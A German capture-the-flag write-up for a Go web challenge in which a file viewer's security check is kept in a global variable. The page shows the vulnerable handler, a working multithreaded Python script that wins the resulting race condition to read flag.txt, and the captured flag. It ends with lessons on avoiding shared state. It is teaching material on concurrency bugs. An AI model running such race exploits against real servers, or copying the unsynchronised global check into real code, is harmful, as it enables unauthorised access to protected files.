Files
HIP7CTF_Writeups/de/shared_state_of_mind.md
m0rph3us1987 a79656b647 Added writeups
2026-03-08 12:22:39 +01:00

6.0 KiB
Raw Permalink Blame History

Shared State of Mind

Willkommen zum Write-up für Shared State of Mind. Diese Challenge ist eine "Web"-Challenge, die in die gefährlichen Gewässer der Nebenläufigkeit in Go eintaucht. Sie demonstriert, warum globaler Zustand in einer nebenläufigen Umgebung (wie einem Webserver) ein Rezept für Desaster ist.

Uns wird ein "High-Performance File Viewer" präsentiert, der angeblich "Bloatware" wie Mutex-Locks entfernt hat. Unser Ziel ist es, die Datei flag.txt zu lesen, die durch eine Sicherheitsprüfung geschützt ist.


1. Erste Erkundung

Die Challenge stellt eine URL und ein herunterladbares Archiv shared_state_of_mind.tar.xz bereit. Die Verbindung zur URL gibt uns eine Dateibetrachter-Schnittstelle (oder API). Wir können Dateien mit ?file=... anfordern.

Wenn wir ?file=worker.go versuchen, erhalten wir den Quellcode. Wenn wir ?file=flag.txt versuchen, erhalten wir: Security Check Failed: Forbidden

2. Quellcode-Analyse

Das Archiv enthält zwei wichtige Go-Dateien: gateway.go und worker.go.

gateway.go: Dies fungiert als Load Balancer/Proxy. Er weist jedem Benutzer eine eindeutige Sitzung zu und startet einen dedizierten ./worker-Prozess für diesen Benutzer. Das bedeutet, dass unsere Anfragen an eine spezifische Instanz der Worker-Anwendung gehen, die nur uns zugewiesen ist.

worker.go: Hier liegt die Schwachstelle. Schauen wir uns an, wie es Anfragen behandelt:

// GLOBALE VARIABLE
var checkPassed bool 

func handler(w http.ResponseWriter, r *http.Request) {
    filename := r.URL.Query().Get("file")
    
    // 1. Sicherheitsprüfung
    if strings.Contains(filename, "flag") {
        checkPassed = false
    } else {
        checkPassed = true
    }

    // 2. Logging (simuliert Verzögerung)
    logAccess(filename)

    // 3. Datei ausliefern
    if checkPassed {
        content, _ := ioutil.ReadFile(filename)
        w.Write(content)
    } else {
        http.Error(w, "Forbidden", 403)
    }
}

3. Die Schwachstelle: Race Condition

Die Variable checkPassed ist als globale Variable auf Paketebene definiert. In Go erstellt http.ListenAndServe eine neue Goroutine für jede eingehende Anfrage. Das bedeutet, wenn mehrere Anfragen gleichzeitig eingehen, teilen sie sich alle den Zugriff auf die selbe checkPassed-Variable.

Dies erzeugt eine Race Condition (spezifisch ein Time-of-Check to Time-of-Use Problem):

  1. Anfrage A (Sicher) kommt für worker.go rein. Sie setzt checkPassed = true.
  2. Anfrage B (Bösartig) kommt für flag.txt rein. Sie setzt checkPassed = false.
  3. Anfrage A pausiert kurz (z.B. während logAccess oder Kontextwechsel).
  4. Anfrage B pausiert kurz.
  5. Anfrage A setzt fort und überschreibt potenziell checkPassed zurück auf true, nachdem Anfrage B es auf false gesetzt hatte, aber bevor Anfrage B ihre finale Prüfung durchführt.

Wenn wir das Timing richtig hinbekommen, erreicht Anfrage B (die die Flagge anfordert) die Zeile if checkPassed genau in dem Moment, in dem Anfrage A die globale Variable auf true gesetzt hat.

4. Ausnutzungsstrategie

Um dies auszunutzen, müssen wir den Server gleichzeitig mit zwei Arten von Anfragen überfluten, unter Verwendung des gleichen Session-Cookies (damit sie denselben Worker-Prozess treffen):

  1. Sichere Anfragen: Wiederholt nach einer erlaubten Datei fragen (z.B. ?file=worker.go). Dies versucht ständig, checkPassed = true zu setzen.
  2. Bösartige Anfragen: Wiederholt nach ?file=flag.txt fragen. Dies versucht, die Flagge zu lesen.

Wir können ein einfaches Python-Skript mit mehreren Threads verwenden, um dies zu erreichen.

Exploit-Skript

import threading
import requests
import sys
import time

# --- ZIEL-KONFIGURATION ---
TARGET_URL = "http://challenge-url:1320/"

print("[*] Initializing Session...")
s = requests.Session()
try:
    s.get(TARGET_URL)
except requests.exceptions.ConnectionError:
    print(f"[-] Could not connect to {TARGET_URL}. Is the docker container running?")
    sys.exit(1)

if 'ctf_session' not in s.cookies:
    print("[-] Failed to get session cookie")
    sys.exit(1)

print(f"[+] Session ID: {s.cookies['ctf_session']}")
cookie = {'ctf_session': s.cookies['ctf_session']}

def do_safe():
    while True:
        try:
            requests.get(TARGET_URL + "?file=worker.go", cookies=cookie)
        except:
            pass

def do_exploit():
    while True:
        try:
            r = requests.get(TARGET_URL + "?file=flag.txt", cookies=cookie)
            if "{flag: " in r.text:
                print(f"\n\n[SUCCESS] Flag Found: {r.text}\n")
                sys.exit(0)
        except:
            pass

print("[*] Starting threads... (Press Ctrl+C to stop)")

# Hohes Volumen an sicheren Threads, um den Schalter umzulegen
for i in range(10):
    t = threading.Thread(target=do_safe)
    t.daemon = True
    t.start()

# Exploit-Thread
for i in range(1):
    t = threading.Thread(target=do_exploit)
    t.daemon = True
    t.start()

while True:
    time.sleep(1)

5. Die Lösung

Das Ausführen des Exploit-Skripts gegen das Ziel verursacht eine Race Condition. Innerhalb weniger Sekunden wird eine der bösartigen Anfragen das Rennen "gewinnen" durch die Prüfung schlüpfen, weil eine gleichzeitige sichere Anfrage den globalen Schalter auf true gesetzt hat.

Flag: {flag: D0nt_Sh4r3_M3m0ry_Just_P4ss_Th3_Fl4g}

Gelernte Lektionen

  • Vermeide globalen Zustand: Verwenden Sie niemals globale Variablen, um anfragespezifische Daten in einem Webserver zu speichern. Verwenden Sie lokale Variablen oder übergeben Sie Daten durch den Funktionskontext.
  • Nebenläufigkeit ist schwer: Nur weil Code sequenziell aussieht, heißt das nicht, dass er relativ zu anderen Anfragen sequenziell ausgeführt wird.
  • Threadsicherheit: Wenn Sie geteilten Zustand verwenden müssen, schützen Sie ihn immer mit Synchronisationsprimitiven wie Mutexes, oder besser noch, verwenden Sie Go's Channels, um sicher zu kommunizieren.

Frohes Hacken!